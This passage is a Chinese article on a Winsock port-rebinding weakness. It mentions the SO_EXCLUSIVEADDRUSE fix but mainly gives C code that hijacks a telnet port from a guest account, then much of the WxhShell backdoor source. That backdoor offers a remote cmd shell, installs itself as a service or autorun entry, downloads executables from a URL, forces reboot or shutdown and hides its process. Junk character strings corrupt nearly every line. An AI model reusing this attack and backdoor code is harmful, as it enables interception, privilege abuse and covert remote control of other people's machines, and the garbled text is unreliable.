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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: wO!hVm,Ta s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); c&Zm>Qo[
Wq9s[)F"Z saddr.sin_family = AF_INET; ?^ErrlI_ Ro1' L1: saddr.sin_addr.s_addr = htonl(INADDR_ANY);
^,KR 0 * Yr-:s9J9 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); xY'g7<})$ ,xh9,EpBk 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &vF "I'V )(L&+DDy 这意味着什么?意味着可以进行如下的攻击: H0(zE*c~ Fp]8f&l8 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -.*\J|S@g a;S^<8 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) UUU^YT \ C95,!q 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 |TUpv*pq KFs` u6 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 Q~@8t"P 9bNIaC*M 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 G2^DukK. VDPN1+1* 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 z>0"T2W
y y*(YZ zF 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]s -6GT a2rv4d= #include #`fT%'T! #include xqtjtH9X #include XGoy#h #include " /'=gE DWORD WINAPI ClientThread(LPVOID lpParam); L,D>E int main() /r%+hS { ~+np7 WORD wVersionRequested; ".0W8= DWORD ret; `/AzX *` WSADATA wsaData; 72,iRH BOOL val; $ vjmW!
O SOCKADDR_IN saddr; $~YuS_sYg SOCKADDR_IN scaddr; c~'kW`sNV int err; lX4p'R-h SOCKET s; 2bJFlxEU SOCKET sc; c'B"Onu@m* int caddsize; IID(mmy6
L HANDLE mt; J7_H.RPa DWORD tid; f5a](& wVersionRequested = MAKEWORD( 2, 2 ); Xp~]kRm9 err = WSAStartup( wVersionRequested, &wsaData ); ;gMh]$|" if ( err != 0 ) { 7xc<vl#:q7 printf("error!WSAStartup failed!\n"); Xdq,
=; return -1; >" .qFn g } m%V[&"5%e saddr.sin_family = AF_INET; :z\f.+MI bevT`D //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }m H>lN Vw*x3>` saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); SHk[X ]Uo saddr.sin_port = htons(23); +Y~+o-_ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) cMl%)j- { ??m7xH5u1 printf("error!socket failed!\n"); ifs*-f return -1; -"zu"H~t4 } 8[C6LG val = TRUE; ,2TqzU; //SO_REUSEADDR选项就是可以实现端口重绑定的 ':V_V. : if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) wF uh6!J { ~{+{p cO} printf("error!setsockopt failed!\n"); h2%:;phH return -1; >.iw8#l }
n{t',r50 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; '| }}og //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 [tzSr=,Cg //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {K9E% ,w T,uIA] if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) gxOmbQt@; { W\,lII0 ret=GetLastError(); xiF%\#N printf("error!bind failed!\n"); )!d1<p3 return -1; \`zG`f } uB1!*S1f listen(s,2); MI(i%$R-A while(1) 5G!U'.gr { A7C+&I!L caddsize = sizeof(scaddr); AE&n^vdQW //接受连接请求 GX)QIe~;qJ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :*@|"4 if(sc!=INVALID_SOCKET) *$(CiyF! { 9@Sb! 9h mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %20-^&zZ if(mt==NULL) n6G&^Oj { v$G*TR<2 printf("Thread Creat Failed!\n"); ;n!X% S<z* break; F?} *ovy } HiG/(<bs9O } f hG2 CloseHandle(mt); f^4*. ~cB } d5y2Y/QO closesocket(s); DH9?2)aR WSACleanup(); ~Ls I<z return 0; -^H5z+"^ } 0NtsFPO DWORD WINAPI ClientThread(LPVOID lpParam) ]&U| d { G=cH61 SOCKET ss = (SOCKET)lpParam; 2w|u)ow) SOCKET sc; A9UaLSe unsigned char buf[4096]; !>y}Xq{bm3 SOCKADDR_IN saddr; )_e"Nd4 long num; `^-Be DWORD val; oRThJ B DWORD ret; [7 `Dgnmq //如果是隐藏端口应用的话,可以在此处加一些判断 tgtoK|. //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 xqWrW) saddr.sin_family = AF_INET; ,?<h] !aQ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); m]d6@"Z. saddr.sin_port = htons(23); WlQ=CRY if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Kw0V4UF { 0~b6wuFl printf("error!socket failed!\n"); e K1m(E.= return -1; pE/3-0;}N } d4>-a^)V val = 100; 1IQOl if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rg^\BUa-W, { 4VJzs$ ret = GetLastError(); = )l: ^+q return -1; "!Oh#Vf } oHXW])[ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) UUf1T@- { c9TAV,/fF* ret = GetLastError(); fC GDL6E return -1; J5p!-N`NS } 7]xz8t if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) gpK_0?% { jnp6qpY{ printf("error!socket connect failed!\n"); %[\x%m) closesocket(sc); Z*(!`,.bB closesocket(ss); _K}_h\e. return -1; 5m USh3 } ^xw [d}0S while(1)
e1^{ { <Mn7`i //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &iiK ZZ`_o //如果是嗅探内容的话,可以再此处进行内容分析和记录 !BQ ELB$0 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 K:
o|kd num = recv(ss,buf,4096,0); /W$y"!^)J1 if(num>0) |@L &yg,x send(sc,buf,num,0); %r else if(num==0) 7R<u=U break; RQS:h]?:l num = recv(sc,buf,4096,0); m)|.:sj if(num>0) ZYR,8 y send(ss,buf,num,0); Hv gK_' else if(num==0) zHoO?tGf break; {iIg 4PzrU } #D LT-G0 closesocket(ss); h[je _^5 closesocket(sc); B,vHn2W
return 0 ; JNM@Q } 76_8e{zbr }RN=9J MZMS?}.2 ========================================================== xK),:+G( .H(}[eG_ 下边附上一个代码,,WXhSHELL oF b mz* 1Q&WoJLfR ========================================================== E0)mI)RW. <W=[
sWJ #include "stdafx.h" v`+n`DT _2gT1B #include <stdio.h> jU4)zN/`r #include <string.h> G9'YgW+$7 #include <windows.h> +ersP@G #include <winsock2.h> ksOANLRN #include <winsvc.h> ( ln #include <urlmon.h> COan)<Ku nL+YL #pragma comment (lib, "Ws2_32.lib") 7Ysy\gZ&wp #pragma comment (lib, "urlmon.lib") "Yfr"1RmO V:G }=~+= #define MAX_USER 100 // 最大客户端连接数 x#F1@r8R #define BUF_SOCK 200 // sock buffer RSPRfYU/ #define KEY_BUFF 255 // 输入 buffer $~G0#JL h*\TCl) #define REBOOT 0 // 重启 |Y8Mk2,s #define SHUTDOWN 1 // 关机 1YIux,2\ cfC; eRgq~ #define DEF_PORT 5000 // 监听端口 g3|Y$/J7P dW{o+9 nw #define REG_LEN 16 // 注册表键长度 Xs%R]KOwt #define SVC_LEN 80 // NT服务名长度 {b-0_ DNm7z[t{ // 从dll定义API X$uz=) typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); N1+4bR typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r>Qyc typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9-a2L JI typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); im4e!gRE .sJys SA\ // wxhshell配置信息 9#s95RO struct WSCFG { >Oi2gPA int ws_port; // 监听端口 x<{;1F,k3 char ws_passstr[REG_LEN]; // 口令 &w;^m/zP3 int ws_autoins; // 安装标记, 1=yes 0=no >G4HZE char ws_regname[REG_LEN]; // 注册表键名 9&XV}I,~?| char ws_svcname[REG_LEN]; // 服务名 h$aew63 char ws_svcdisp[SVC_LEN]; // 服务显示名 N.5KPAvg% char ws_svcdesc[SVC_LEN]; // 服务描述信息 7>t$<J char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hk"9D<&i>b int ws_downexe; // 下载执行标记, 1=yes 0=no a_ 9 |xI char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" G&%nF4 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `u p-m=zA 9N*S-Po= }; y,y/PyN) 5Aa31"43n // default Wxhshell configuration o&hKg#nO83 struct WSCFG wscfg={DEF_PORT, *3.yumcv{L "xuhuanlingzhe", Z/NGv 1, 1C}pv{0:& "Wxhshell", A"\P&kqMV "Wxhshell", EDq$vB "WxhShell Service", tyn?o "Wrsky Windows CmdShell Service", qL%.5OCn( "Please Input Your Password: ", cwM#X;FGq
1, !!-}ttFA " http://www.wrsky.com/wxhshell.exe", h7de9Rt "Wxhshell.exe" ;l/}Or2 }; +K$5tT6b M9(ez7Z // 消息定义模块 {.aK{
V char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W2F+^ char *msg_ws_prompt="\n\r? for help\n\r#>"; Nh1e1m? char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ?dJ/)3I%F char *msg_ws_ext="\n\rExit."; V5e \% char *msg_ws_end="\n\rQuit."; teq^xTUF[ char *msg_ws_boot="\n\rReboot..."; zqekkR] char *msg_ws_poff="\n\rShutdown..."; ]ZR{D7.? char *msg_ws_down="\n\rSave to "; P<cMP)+K p@cfY]<7 char *msg_ws_err="\n\rErr!"; 5eiZs char *msg_ws_ok="\n\rOK!"; q9>Ls-k b!4N)t>gl char ExeFile[MAX_PATH]; ;PfeP;z int nUser = 0; #sz]PZ\ HANDLE handles[MAX_USER]; 2A*X Hvwb int OsIsNt; )Y&MIJ7>@ ]^yV`Z8 SERVICE_STATUS serviceStatus; GZ/pz+)i& SERVICE_STATUS_HANDLE hServiceStatusHandle; y+
6`|
h_ 95.qAFB1 // 函数声明 cW81 int Install(void); njy~ int Uninstall(void); x38SSzG:L int DownloadFile(char *sURL, SOCKET wsh);
K;<NBnH int Boot(int flag); >u9id>+ void HideProc(void); Ax5mP8S int GetOsVer(void); (TT3(|v int Wxhshell(SOCKET wsl); :DOr!PNA void TalkWithClient(void *cs); o9KyAP$2 int CmdShell(SOCKET sock); 4c5^7";P int StartFromService(void); avu*>SB int StartWxhshell(LPSTR lpCmdLine); UC8vR>e\ Whv]88w{ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); HpB!a,R6B VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7>nhIp)) +8LM~voB // 数据结构和表定义 ,~?A,9?%: SERVICE_TABLE_ENTRY DispatchTable[] = ttK,((=@ { M(n<Iu4^_ {wscfg.ws_svcname, NTServiceMain}, b34zhZ {NULL, NULL} nwa\Lrh }; ;yk9(wea}" @wd!&%yzO // 自我安装 V+qFT3?- int Install(void) y;,=ajrF { EzzTJ> char svExeFile[MAX_PATH]; O{lIs_1.Z HKEY key; 8yHq7= strcpy(svExeFile,ExeFile); qiG]nCq %/{IssCR7 // 如果是win9x系统,修改注册表设为自启动 a(PjcQ4dY if(!OsIsNt) { ePV-yy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G*kE~s9R
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 07.nq;/R RegCloseKey(key); 6@"Vqm|HD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @IEI%vH RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >|l;*Kw,/P RegCloseKey(key); X4d Xm>*?= return 0; gbY LA a } W0VA'W } D3<IuWeM } >}ro[x`K else { <T(s\N5B= =}~NRmmF // 如果是NT以上系统,安装为系统服务 3x04JE3! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [:AB$l* if (schSCManager!=0) *e(:["v { T&o,I SC_HANDLE schService = CreateService m(2G*} ( j`>?"1e@x schSCManager, fUb1/-} wscfg.ws_svcname, ?wGiog<Q{ wscfg.ws_svcdisp, JaH*
rDs- SERVICE_ALL_ACCESS, l_^T&xq8 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , oUl=l}qnD SERVICE_AUTO_START, Kg4QT/0VA SERVICE_ERROR_NORMAL, ]WTf< W< svExeFile, ]O6KKz NULL, ^H'hD NULL, J9g|#1G NULL, /yLzDCKn NULL, w@87]/ 4Rq NULL _aVJ$N. ); oR-O~_)U if (schService!=0) /0Z|+L9Jo { N YCj; ,V CloseServiceHandle(schService); 5){tBK| CloseServiceHandle(schSCManager); zx
ct( strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X7e>Z)l strcat(svExeFile,wscfg.ws_svcname); qIB>6bv#x if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x$~3$E RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &foD& RegCloseKey(key); MinbE13?U return 0; %p<$|' } CT|z[^ } _GE=kw;: CloseServiceHandle(schSCManager); 6_W <hevI } smQ4CLJ } EC<5M5Lc $kD7y5 return 1; EY
So=
} ]PeLcB ^&C&~}Zv // 自我卸载 @/9>=#4c int Uninstall(void) 3.(.*> { Hr(6TLNw HKEY key; xcHen/4X I!61 K if(!OsIsNt) { 9~=gwP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1Wv{xML" RegDeleteValue(key,wscfg.ws_regname); #]@9qPyn RegCloseKey(key); U?^OD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lco~X DI RegDeleteValue(key,wscfg.ws_regname); ^SEc./$ RegCloseKey(key); IDj_l+?c return 0; *U
M!( } [w,(EE } GaHA% } K*[9j 0 else { M|ms$1x w2k<)3 g~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -<xyC8$^$ if (schSCManager!=0) :MK=h;5Z { 'c#IMlv SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,E%1Uq" if (schService!=0) 9e]'OKL+ { o\&~CW~@~ if(DeleteService(schService)!=0) { expxp#S CloseServiceHandle(schService); i^R{Ul[ CloseServiceHandle(schSCManager); Ky *DfQA return 0; ;8BA~,4l } {wcO[bN CloseServiceHandle(schService); 2@sr:,\1 } yE}BfU { . CloseServiceHandle(schSCManager); 9WOu8Ia } d`85P+Qen| } D@#0 dDT XjxPIdX_H return 1; uWh|C9Y!A } )9MrdVNv UkZ\cc}aC/ // 从指定url下载文件 >'N!dM.+9 int DownloadFile(char *sURL, SOCKET wsh) _$8{;1$T? { 8qN"3 Et HRESULT hr; V>B'+b+< char seps[]= "/"; m*`cuSU|o char *token; 4\\.n char *file; W,DZ ;).% char myURL[MAX_PATH]; WK*S4c char myFILE[MAX_PATH]; R+d<
fe w(Gz({l+ strcpy(myURL,sURL); kymn)Ea token=strtok(myURL,seps);
aV<^IxE; while(token!=NULL) xHHV=M2l(s { &-=K:;x file=token; `os8;`G token=strtok(NULL,seps); {8 N=WZ } x)3~il5 j AQU~Ol_ GetCurrentDirectory(MAX_PATH,myFILE); p!}ZdX[u strcat(myFILE, "\\"); 7u::5 W-q strcat(myFILE, file); eHUg-\dy send(wsh,myFILE,strlen(myFILE),0); 4#_$@ r send(wsh,"...",3,0); R5~gH6K| hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); '#A:.P if(hr==S_OK)
#I;D return 0; qcYNtEs*c else y+A{Y return 1; tfA}`*$s 1Fs-0)s8 } 0vn[a,W<A gM#jA8gz // 系统电源模块 \-c#jo.$8 int Boot(int flag) :@/"abv { U;pe: HANDLE hToken; &+G;R TOKEN_PRIVILEGES tkp; R]Ek}1~? IM=+3W;ak if(OsIsNt) { %l]Rh/VPn? OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mB`D}g$ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lufeieW tkp.PrivilegeCount = 1; ]-:1se tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 781]THY= AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vOe0}cR if(flag==REBOOT) { =*O=E@] if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f TO+ZTRqf return 0; Tm_8<$ 7 } dMV=jJ%Y else { bK4&=#Zh if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x,\!DLq:p return 0; R*bmu } B)6#Lp3 } NI.`mc6Xd else { {fU?idY)c if(flag==REBOOT) { qp&4 1 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `|EH[W&y return 0; \2>?6zs } nvt$F%+ else { k;Hnu if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I+",b4 return 0; AkA!:!l } @1bH}QS } CW-A e |` "? return 1; G6Nb{m } $P nLG]X }Eh*xOta // win9x进程隐藏模块 ne*#+Q{E void HideProc(void) #wjH4DT { u-szt ? O| :u/mTZDi HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `Mk4sKU\a if ( hKernel != NULL ) qfrNi1\9- { ^A!$i$NON pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `WnQ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); smup,RNZRX FreeLibrary(hKernel); 6D/tK| } x8\<qh*: h e&V# # return; 8+&JQ"UaB } Hb!6ZEmN% >DP:GcTG // 获取操作系统版本 si(cOCj/ int GetOsVer(void) 6 P*O&1hv { sS9%3i/> OSVERSIONINFO winfo;
RJ}#)cT winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X;!~<~@Y GetVersionEx(&winfo); bfdVED if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p/*"4-S return 1; _a5(s2wq+ else ,2,5Odrz return 0; [@G`Afaf } "U8S81' ^npJUa // 客户端句柄模块 }C,O int Wxhshell(SOCKET wsl) ;Z9IZ~ { B4Lx{uno SOCKET wsh; ,S!w'0k|n struct sockaddr_in client; CW`!}yu% DWORD myID; f Iy]/ hO( RZ'{ while(nUser<MAX_USER) H~o <AmE0! { |"7Y52d int nSize=sizeof(client); .'d2J> ~N wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3n48 %5 if(wsh==INVALID_SOCKET) return 1; }ZzLs/v%X u|fXP)>. handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]db@RbaH if(handles[nUser]==0) kg>>D closesocket(wsh); o@k84+tn( else A5nO= nUser++; zOB=aG?/ } A'-_TFwW WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c\.P/~ ,.v7FM^gO return 0; 7bF*AYM } Y7SacRO CdZ BG // 关闭 socket v\%G|8+] void CloseIt(SOCKET wsh) 33a uho
{ /3B6Mtb closesocket(wsh); 1%`7.;!i nUser--; BX< dSK ExitThread(0); AGq>=avv } 9wh2f7k YRcps0Dx9 // 客户端请求句柄 6rX_-Mm6w void TalkWithClient(void *cs) s>%Pd7: { T):SGW Uyx&E?SlEq SOCKET wsh=(SOCKET)cs; zp4W'8
char pwd[SVC_LEN]; '\~^TFi char cmd[KEY_BUFF]; 0LL c 1t>} char chr[1]; YZE.@Rz int i,j; ~?U*6P)o 0X9Y~TM% while (nUser < MAX_USER) { 50~K,Jx6B ^gYD*K!* if(wscfg.ws_passstr) { CxF-Z7 ' if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gEJi[E@ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _[K#O,D, //ZeroMemory(pwd,KEY_BUFF); z`U Ukl}T i=0; c`G&KCw)d while(i<SVC_LEN) { '2nqHX
D i8PuC^] // 设置超时 N1x@-/xa| fd_set FdRead; d,cN( struct timeval TimeOut; m,_d^ FD_ZERO(&FdRead); %XTA;lrz FD_SET(wsh,&FdRead); <@uOCRbV TimeOut.tv_sec=8; la^
DjHA$ TimeOut.tv_usec=0; n(vDytrj; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); uT_!'l$fr if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K@:m/Z}|4 !GK$[9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ${hz e<g pwd =chr[0];
p{Sh F. if(chr[0]==0xd || chr[0]==0xa) { ?mYYt]R pwd=0; " I+p break; ofdZ1F } 6}dR$*= i++;
l]_=:)" ] } )TmtSSS Re=WfG // 如果是非法用户,关闭 socket q4k@l if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P0GeZ02] } ,FQK;BU!lh #kmh:P send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _GoVx=t
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KL?) akk H+C6[W= while(1) { L;6.r3bL \%A%s*1 ZeroMemory(cmd,KEY_BUFF); xN0*8 V H^AcO // 自动支持客户端 telnet标准 A(d5G^ j=0; ktH8as^54! while(j<KEY_BUFF) { z2yJ# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M>H=z#C>/A cmd[j]=chr[0]; 0b|zk < if(chr[0]==0xa || chr[0]==0xd) { >G"X J<IO cmd[j]=0; Y}STF break; cO#oH2} } *r,b=8| j++; \fLvw } r/:%}(7; 2>PH8 // 下载文件 'r}fZ if(strstr(cmd,"http://")) { 3OqX/z, send(wsh,msg_ws_down,strlen(msg_ws_down),0); XvGA|Ekf< if(DownloadFile(cmd,wsh)) ]!{y
a8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); K
k[`dR; else @y|_d send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -X1X)0v$ } n!ok?=(kQ else { SZ!=`a] [`_io>*g switch(cmd[0]) { :+&AY2` -$a>f4] // 帮助 0@=MOGQb case '?': { HAB#pd9 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $#NQ<3 break; F}
DUEDND* } eiMH['X5 // 安装 6[dur'x case 'i': { @,H9zrjVFZ if(Install()) u5E]t9~Pq send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rm>^tu
- else j|(Z#3J send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &Ral+J break; ;?L\Fz(< } Tupiq // 卸载 /2uQCw&x- case 'r': { +Ov2`O8? if(Uninstall()) {1lO send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0t.p1 else ${&5]!E[>D send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m:CTPzAt break; \E4B&!m } \ FzM4- // 显示 wxhshell 所在路径 15H6:_+=0 case 'p': { :14i?4Fd char svExeFile[MAX_PATH]; `S/wJ'c strcpy(svExeFile,"\n\r"); +5p{5 q(o strcat(svExeFile,ExeFile); h3G.EM:eG send(wsh,svExeFile,strlen(svExeFile),0); g:)DNy break; w7kJg'X/6 } U8QX46Br // 重启 CnF |LTi case 'b': { iU2KEqCm send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LLAa1Wq if(Boot(REBOOT))
~=n#}{/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); pK&I^r else { MtmOUI&' closesocket(wsh); ^CT&0 ExitThread(0); yX/";Oe
} NYB[Zyp break; 12`_;[37 } '3(l-nPiG^ // 关机 \ZXLX'- case 'd': { C;B}3g& send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?w&SW{ I if(Boot(SHUTDOWN)) x;E2~&E send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cpl;vQ else { ]`=X'fED closesocket(wsh); ?/#}ZZK^ ExitThread(0); quu*xJ;Ci } \+PIe7f_ break; BN_7Ay/k } P>QpvSd_# // 获取shell %"$@%"8;3 case 's': { WOytxE CmdShell(wsh); O9h+Q\0\W closesocket(wsh); b'@we0V@S ExitThread(0); v"DL'@$Ut{ break; !Jfs?Hy } {{yt*7k { // 退出 *JCQu0 case 'x': { *wbZ;rfF send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8cg`7(a CloseIt(wsh); j5
wRGn3 break; W 0[N0c } \k8rxW // 离开 keAcKhj case 'q': { }E^S]hdvz send(wsh,msg_ws_end,strlen(msg_ws_end),0); X=X\F@V:u closesocket(wsh); $ItF])Bj5N WSACleanup(); ZXb0Y2AVx exit(1); wdE?SD s break; %'Xk)-+y } vR7HF*8 } k!XhFWb } [THG4582oB B7*}c]^6/ // 提示信息 Z0,~V if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tx7~SUr } vq'c@yw; } UH`h OJ? ?:rx1}:F return; QP I+y8N= } :Og:v#r8= ?>uew^$d[w // shell模块句柄 SpTdj^ ]4> int CmdShell(SOCKET sock)
p#d+>7 { kUHE\L.Y] STARTUPINFO si; /FY2vDfU6 ZeroMemory(&si,sizeof(si)); ZFh+x@ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _Tm0x>EM si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N]/!mo? PROCESS_INFORMATION ProcessInfo; |I8Mk.Z=FA char cmdline[]="cmd"; /i|z.nNO CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ':
F}3At return 0; Fw4* } 8Z#j7)G
eARk
QV // 自身启动模式 ZDLMMXx> int StartFromService(void) MFit|C { ;^k7zNf- typedef struct o,Z{ w" { *iXe^ <6v DWORD ExitStatus; N> Jw DWORD PebBaseAddress; %Q|eiXD DWORD AffinityMask; obClBO)@Y DWORD BasePriority; EmVuwphv ULONG UniqueProcessId; 2-If]Fc ULONG InheritedFromUniqueProcessId; ]hw-Bu\{ } PROCESS_BASIC_INFORMATION; '{?C{MK3Q YhKZ|@ PROCNTQSIP NtQueryInformationProcess; MLVB^<qkeH j#A%q"]8 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3C>qh{z" static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; JHV)ZOO &M&{yc*% HANDLE hProcess; A]`:VC=IU PROCESS_BASIC_INFORMATION pbi; i\}:hU-U iAO5"(>}? HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); MEZ{j%-a if(NULL == hInst ) return 0; IfdI|ya d 4{FDqto g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B uQ|~V g_pGetModuleBaseName = 